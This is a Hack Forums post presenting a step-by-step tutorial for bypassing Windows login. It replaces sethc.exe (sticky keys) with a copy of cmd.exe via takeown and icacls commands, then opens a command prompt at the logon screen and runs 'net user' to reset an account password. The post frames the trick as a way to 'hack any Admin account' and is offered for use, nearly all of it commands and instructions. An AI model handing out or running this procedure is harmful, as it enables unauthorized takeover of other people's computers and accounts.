

Forum:[Hack Forums](#)

Thread: [Admin bypass for any windows operating system.](#)

Lipton's Ice Tea™ - July 31, 2016, 6:58 pm

Found this tutorial on another forum, thought users may benefit from this so thought I'd share it around.

Well this tutorial shows you how to hack any Admin account or any privilege account on any WINDOWS based operating system.

Press shift key 5times or more, you will see a sticky key option, this has a name as sethc.exe in the system32 folder of windows directory.

for this whole process we need administrative privilages to allow modifications in the system32 folder for windows vista or Windows 7 so inorder to gain that access remotely follow the parameters :

Steps to do this using Command Prompt :

1. Open command prompt with administrative privileges and type in the following :

```
cd\  
c:\cd windows\system32  
c:\windows\system32> takeown /f sethc.exe
```

(this command basically gives you the ownership to that particular file. Now we have to gain administrative privilege on that file to do that -)

```
c:\windows\system32> icacls sethc.exe /grant administrators: f
```

now do this again for cmd.exe file :

```
c:\windows\system32> takeown /f cmd.exe  
c:\windows\system32> icacls cmd.exe /grant administrators: f
```

Now as we have control on both the files follow these :

1. Delete or rename sethc.exe with someother name.
2. Make a duplicate copy of cmd.exe file and then rename it with "sethc.exe" without quotes.
3. Now ensure that you have 2 copies of cmd.exe, one is the original cmd.exe file and the other which is renamed as sethc.exe

Now when you press shift 5times or more you get a command prompt instead of a sticky key window prompt.

now you can use this command prompt to gain access to that computer as follows:

Now when you have replaced that duplicate cmd with sethc.exe command prompt will appear as soon as you press the shift key 5times or more do this at the time of logon.

When the console asks you for the password press shift key 5times or more to get the command prompt.

Now type in the following :

net user <username> (Press enter it will ask you for a password)

for example my username is Admin:

net user admin

type a new password :

confirm password :

fill it blank and you have reset the password of that account. Now type "exit" without quotes to get out of the command prompt and select the arrow button of windows vista/7 or press enter for windows xp to bypass the login screen.